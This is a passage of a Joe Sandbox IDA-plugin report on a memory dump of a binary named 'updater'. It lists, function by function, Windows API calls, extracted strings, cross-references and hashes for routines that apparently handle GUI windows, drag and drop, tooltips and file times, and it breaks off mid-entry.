Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: e27cd912ccd5e1616416aa50dc9ffb6b4625e7d21bf04cfdc858c9d70278f24b
Instruction ID: 604a1d9a05bdf00bd483241579f037dd59a4fefef024c4e4341798fa760d3be4
Opcode Fuzzy Hash: e27cd912ccd5e1616416aa50dc9ffb6b4625e7d21bf04cfdc858c9d70278f24b
Instruction Fuzzy Hash: 2BA1AE71204606ABD714DF64C884FAEB7E8FF44354F108529F9A9D21A1EB30EE55CB91

Function 00C0BA6D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00C0BAB1
_wcscmp.LIBCMT ref: 00C0BAC2
GetWindowTextW.USER32(00000001,?,00000400), ref: 00C0BAEA
CharUpperBuffW.USER32(?,00000000), ref: 00C0BB07
_wcscmp.LIBCMT ref: 00C0BB25
_wcsstr.LIBCMT ref: 00C0BB36
GetClassNameW.USER32(00000018,?,00000400), ref: 00C0BB6E
_wcscmp.LIBCMT ref: 00C0BB7E
GetWindowTextW.USER32(00000002,?,00000400), ref: 00C0BBA5
GetClassNameW.USER32(00000018,?,00000400), ref: 00C0BBEE
_wcscmp.LIBCMT ref: 00C0BBFE
GetClassNameW.USER32(00000010,?,00000400), ref: 00C0BC26
GetWindowRect.USER32(00000004,?), ref: 00C0BC8F

Strings

ThumbnailClass, xrefs: 00C0BB79, 00C0BBF9
@, xrefs: 00C0BA92

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 7887aa4cf60258fb0f0b7886011a62c076782a70b163a026aab3dc8c6a5628e8
Instruction ID: 082db1f5107a4b236c9c4e29a3bcc8dcfa50cec0ab45e00049d56a0692f3b5b5
Opcode Fuzzy Hash: 7887aa4cf60258fb0f0b7886011a62c076782a70b163a026aab3dc8c6a5628e8
Instruction Fuzzy Hash: 6281B071008306ABEB10DF14C885FAAB7E8FF44714F1484AAFD999A0D6EB34DE45CB61

Function 00C0B8B6 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00C0B915

Strings

CLASSNAME=, xrefs: 00C0B952
[REGEXPTITLE:, xrefs: 00C0B93D
[CLASS:, xrefs: 00C0B965
[ACTIVE, xrefs: 00C0B902
[HANDLE:, xrefs: 00C0B921
ALL, xrefs: 00C0B9A9
ACTIVE, xrefs: 00C0B8F0
HANDLE=, xrefs: 00C0B90E
LAST, xrefs: 00C0B8DA
REGEXP=, xrefs: 00C0B92A
[LAST, xrefs: 00C0B9C2
[ALL, xrefs: 00C0B9BB

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: d17c06e93f411f39a478aef8f625ce93a8381b3837f499ea8a70ea8ff2cfcedc
Instruction ID: d875e68279d71053ae8ed4b56518a181c578dc74a0ff85182156687ebcddb2dd
Opcode Fuzzy Hash: d17c06e93f411f39a478aef8f625ce93a8381b3837f499ea8a70ea8ff2cfcedc
Instruction Fuzzy Hash: 0D319271A44205A6DB24FBA4CD83FAE73F4AF21750F600569F651B10D3EF96AF04CA52

Function 00C0CB97 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00C0CBAA
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00C0CBBC
SetWindowTextW.USER32(?,?), ref: 00C0CBD3
GetDlgItem.USER32(?,000003EA), ref: 00C0CBE8
SetWindowTextW.USER32(00000000,?), ref: 00C0CBEE
GetDlgItem.USER32(?,000003E9), ref: 00C0CBFE
SetWindowTextW.USER32(00000000,?), ref: 00C0CC04
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00C0CC25
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00C0CC3F
GetWindowRect.USER32(?,?), ref: 00C0CC48
SetWindowTextW.USER32(?,?), ref: 00C0CCB3
GetDesktopWindow.USER32 ref: 00C0CCB9
GetWindowRect.USER32(00000000), ref: 00C0CCC0
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00C0CD0C
GetClientRect.USER32(?,?), ref: 00C0CD19
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00C0CD3E
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00C0CD69

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 340f6fed8f2caa23fc73d7889e516ac5b25416c68a78deacb1e2f97eb203fe09
Instruction ID: 8e28240e0567390de68429577ea3ab9c78b3791eb60859f96ee4c5102a3a018f
Opcode Fuzzy Hash: 340f6fed8f2caa23fc73d7889e516ac5b25416c68a78deacb1e2f97eb203fe09
Instruction Fuzzy Hash: EB516D71900709AFEB209FA8CE89BAEBBF5FF04705F100618F656A25A0D774A954CF50

Function 00C3A7DE Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C3A87E
DestroyWindow.USER32(?,?), ref: 00C3A8F8

Part of subcall function 00BC1821: _memmove.LIBCMT ref: 00BC185B

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00C3A972
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00C3A994
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00C3A9A7
DestroyWindow.USER32(00000000), ref: 00C3A9C9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00BB0000,00000000), ref: 00C3AA00
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00C3AA19
GetDesktopWindow.USER32 ref: 00C3AA32
GetWindowRect.USER32(00000000), ref: 00C3AA39
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00C3AA51
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00C3AA69

Part of subcall function 00BB29AB: GetWindowLongW.USER32(?,000000EB), ref: 00BB29BC

Strings

tooltips_class32, xrefs: 00C3A96B, 00C3A9F9
0, xrefs: 00C3A894

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: abca469ff8bb4065b62c3c6254c21e606a7da638f633cadd1d6874e86ee08b51
Instruction ID: 9d59639ba62fbab54cf2f85a4179c97685dc64998806749d05a700d312137f10
Opcode Fuzzy Hash: abca469ff8bb4065b62c3c6254c21e606a7da638f633cadd1d6874e86ee08b51
Instruction Fuzzy Hash: 1371AB71150204AFD721CF28CC48FAB77E5FB89300F18461DF99A972A1D771EA61EB52

Function 00C3CCA6 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BB29F3

DragQueryPoint.SHELL32(?,?), ref: 00C3CCCF

Part of subcall function 00C3B1A9: ClientToScreen.USER32(011E0F68,?), ref: 00C3B1D2
Part of subcall function 00C3B1A9: GetWindowRect.USER32(?,?), ref: 00C3B248
Part of subcall function 00C3B1A9: PtInRect.USER32(?,?,00C3C6BC), ref: 00C3B258

SendMessageW.USER32(?,000000B0,?,?), ref: 00C3CD38
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00C3CD43
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00C3CD66
_wcscat.LIBCMT ref: 00C3CD96
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00C3CDAD
SendMessageW.USER32(?,000000B0,?,?), ref: 00C3CDC6
SendMessageW.USER32(?,000000B1,?,?), ref: 00C3CDDD
SendMessageW.USER32(?,000000B1,?,?), ref: 00C3CDFF
DragFinish.SHELL32(?), ref: 00C3CE06
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00C3CEF9

Strings

@GUI_DRAGID, xrefs: 00C3CE71
@GUI_DRAGFILE, xrefs: 00C3CEA8
@GUI_DROPID, xrefs: 00C3CE26

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 90e8dc0dd2970c9f3091d84d2ce0b0a40ba5052a2f21587c359c55a525892517
Instruction ID: 2a87100e87cc679b5fdf2b4f25d62b4268b4a033e7da5c2b2e232ddc60067c37
Opcode Fuzzy Hash: 90e8dc0dd2970c9f3091d84d2ce0b0a40ba5052a2f21587c359c55a525892517
Instruction Fuzzy Hash: 14615C71108301AFC711EF64DC85EAFBBE8FF89750F100A2DF695921A2DB709A49CB52

Function 00C182D5 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00C1831A
VariantCopy.OLEAUT32(00000000,?), ref: 00C18323
VariantClear.OLEAUT32(00000000), ref: 00C1832F
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00C1841D
__swprintf.LIBCMT ref: 00C1844D
VarR8FromDec.OLEAUT32(?,?), ref: 00C18479
VariantInit.OLEAUT32(?), ref: 00C1852A
SysFreeString.OLEAUT32(?), ref: 00C185BE
VariantClear.OLEAUT32(?), ref: 00C18618
VariantClear.OLEAUT32(?), ref: 00C18627
VariantInit.OLEAUT32(00000000), ref: 00C18665

Strings

Default, xrefs: 00C184DA
%4d%02d%02d%02d%02d%02d, xrefs: 00C18447

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 26c332070c40b7ba36c497cd370eafb116413136097bedcd5493dbd9d85adb50
Instruction ID: 3d520d9e193def250e3fac3b3272884b2e865b93ee4a7a97c1d110d9b9eba58c
Opcode Fuzzy Hash: 26c332070c40b7ba36c497cd370eafb116413136097bedcd5493dbd9d85adb50
Instruction Fuzzy Hash: ADD1D171608115DBDB209F66C484BEEF7B4FF06700F688559E525AB291DF30DD88EBA0

Function 00C349CF Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00C34A61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00C34AAC

Strings

ISCHECKED, xrefs: 00C34C2F
GETITEMCOUNT, xrefs: 00C34B8E
GETTOTALCOUNT, xrefs: 00C34A93
GETSELECTED, xrefs: 00C34BBC
CHECK, xrefs: 00C34ACC
COLLAPSE, xrefs: 00C34AF2
GETTEXT, xrefs: 00C34BFF
UNCHECK, xrefs: 00C34C88
SELECT, xrefs: 00C34C5D
EXPAND, xrefs: 00C34B5E
EXISTS, xrefs: 00C34B15

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 34b55007caa16fa22ad59fc0bd36dba1d217dc0ac9f73d43418848b12ad5c11d
Instruction ID: 5bb6d75de7cb143c509cb1ea439024c7599a869d88e43755c71506bdfaa5edd3
Opcode Fuzzy Hash: 34b55007caa16fa22ad59fc0bd36dba1d217dc0ac9f73d43418848b12ad5c11d
Instruction Fuzzy Hash: E9917D742147019BCB18EF10C491ABAB7E1BF94354F1088A9F8965B3A3DB70FD46DB82

Function 00C1E25D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00C1E31F
SystemTimeToFileTime.KERNEL32(?,?), ref: 00C1E32F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00C1E33B
__wsplitpath.LIBCMT ref: 00C1E399
_wcscat.LIBCMT ref: 00C1E3B1
_wcscat.LIBCMT ref: 00C1E3C3
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00C1E3D8
SetCurrentDirectoryW.KERNEL32(?), ref: 00C1E3EC
SetCurrentDirectoryW.KERNEL32(?), ref: 00C1E41E
SetCurrentDirectoryW.KERNEL32(?), ref: 00C1E43F
_wcscpy.LIBCMT ref: 00C1E44B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00C1E48A

Strings

*.*, xrefs: 00C1E445

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: cec4fed3f48fd8a0310fac1054f8374388d31be91bde776cd4a005f81e43b89e
Instruction ID: 11e21ec73770d9d002824a8caf715103624660643cae8ce12483666cd089a4d2
Opcode Fuzzy Hash: cec4fed3f48fd8a0310fac1054f8374388d31be91bde776cd4a005f81e43b89e
Instruction Fuzzy Hash: E0616A715046459FC710EF60C844AAEB3E8FF8A310F04896EF999C7251EB75EA85CB92

Function 00C3BE93 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 182windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00C3BF26
LoadLibraryExW.KERNEL32(?,00000000,00000032), ref: 00C3BF82
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00C3BFBB
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00C3BFFE
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00C3C035
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,00000000,00000032), ref: 00C3C041
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 00C3C051
DestroyIcon.USER32(00000000), ref: 00C3C060
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00C3C07D
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00C3C089

Part of subcall function 00BD312D: __wcsicmp_l.LIBCMT ref: 00BD31B6

Strings

.exe, xrefs: 00C3BEBC
.icl, xrefs: 00C3BE9C
.dll, xrefs: 00C3BEDF

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: a22a98d42a46a538b2689ad801795d486970ac1187099de7b5fe358b82ff9c1b
Instruction ID: 61168f4dd5c6924f3d40582512fa3654273726b982e450ec888dd0a3ea19c2e0
Opcode Fuzzy Hash: a22a98d42a46a538b2689ad801795d486970ac1187099de7b5fe358b82ff9c1b
Instruction Fuzzy Hash: 74510271550615FBEB289F64CC81BBE77A8FB08B10F104216FA25E61D1DB74AE90DB60

Function 00C1A27B Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00C1A2C2

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00C1A2E3
__swprintf.LIBCMT ref: 00C1A33C
__swprintf.LIBCMT ref: 00C1A355
_wprintf.LIBCMT ref: 00C1A3FC
_wprintf.LIBCMT ref: 00C1A41A

Strings

Line %d (File "%s"):, xrefs: 00C1A336, 00C1A34F
Error: , xrefs: 00C1A3C4
^ ERROR , xrefs: 00C1A391
Incorrect parameters to object property !, xrefs: 00C1A39E
"%s" (%d) : ==> %s:, xrefs: 00C1A415
"%s" (%d) : ==> %s:%s%s, xrefs: 00C1A3F7

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 2c79478549c133110267e5cd34df7c8a41f790c890f136da0d3af9c2521cdbac
Instruction ID: f87c949224d2ced24055a0701e5fa0d9c3bdb276a0163a747fcbe10ebd9a4844
Opcode Fuzzy Hash: 2c79478549c133110267e5cd34df7c8a41f790c890f136da0d3af9c2521cdbac
Instruction Fuzzy Hash: DD51D071800109AACF24EBE4CD46FEEB7B8AF05340F1005A9F515B20A3EB756F99DB61

Function 00C10065 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000000,?,00BFF8B8,00000001,0000138C,00000001,00000000,00000001,?,00C23FF9,00000000), ref: 00C1009A
LoadStringW.USER32(00000000,?,00BFF8B8,00000001), ref: 00C100A3

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

GetModuleHandleW.KERNEL32(00000000,00C77310,?,00000FFF,?,?,00BFF8B8,00000001,0000138C,00000001,00000000,00000001,?,00C23FF9,00000000,00000001), ref: 00C100C5
LoadStringW.USER32(00000000,?,00BFF8B8,00000001), ref: 00C100C8
__swprintf.LIBCMT ref: 00C10118
__swprintf.LIBCMT ref: 00C10129
_wprintf.LIBCMT ref: 00C101D2
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00C101E9

Strings

Line %d (File "%s"):, xrefs: 00C10112
%s (%d) : ==> %s: %s %s, xrefs: 00C101CD
Error: , xrefs: 00C101A0
^ ERROR, xrefs: 00C1017E
Line %d:, xrefs: 00C10123

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 3ba6edd4e971c490a6d5a8a75db00558564ae680ce36b18c808c9b9bb6c99630
Instruction ID: 155aecaea06ee8f5693f3c0e06c0c11812f9043029f157e486a170df56ec387c
Opcode Fuzzy Hash: 3ba6edd4e971c490a6d5a8a75db00558564ae680ce36b18c808c9b9bb6c99630
Instruction Fuzzy Hash: DD417172800119AACF14EBD4CD86FEEB7BCEF16340F2005A9F505B2092DA756F89DB61

Function 00C1A995 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00BB4D37: __itow.LIBCMT ref: 00BB4D62
Part of subcall function 00BB4D37: __swprintf.LIBCMT ref: 00BB4DAC

CharLowerBuffW.USER32(?,?), ref: 00C1AA0E
GetDriveTypeW.KERNEL32 ref: 00C1AA5B
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00C1AAA3
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00C1AADA
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00C1AB08

Part of subcall function 00BC1821: _memmove.LIBCMT ref: 00BC185B

Strings

wait, xrefs: 00C1AAC5
close cd wait, xrefs: 00C1AAF3
set cd door , xrefs: 00C1AAA9
open , xrefs: 00C1AA6A
close, xrefs: 00C1AA14
open, xrefs: 00C1AA35
type cdaudio alias cd wait, xrefs: 00C1AA86
closed, xrefs: 00C1AA22, 00C1AA2B

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: e30645159f3f6580c3019bfca36c801e210683cdca51187617cbf4136112b616
Instruction ID: 8bbb5938d9afec0fdc5fe8651d4d7f3b5fd16cad49847f5b2f82b9c98e49e66a
Opcode Fuzzy Hash: e30645159f3f6580c3019bfca36c801e210683cdca51187617cbf4136112b616
Instruction Fuzzy Hash: B0516BB11042059FC700EF14C881EAAB3F4FF99358F1089ADF895A7262DB71EE46CB52

Function 00C1A832 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00C1A852
__swprintf.LIBCMT ref: 00C1A874
CreateDirectoryW.KERNEL32(?,00000000), ref: 00C1A8B1
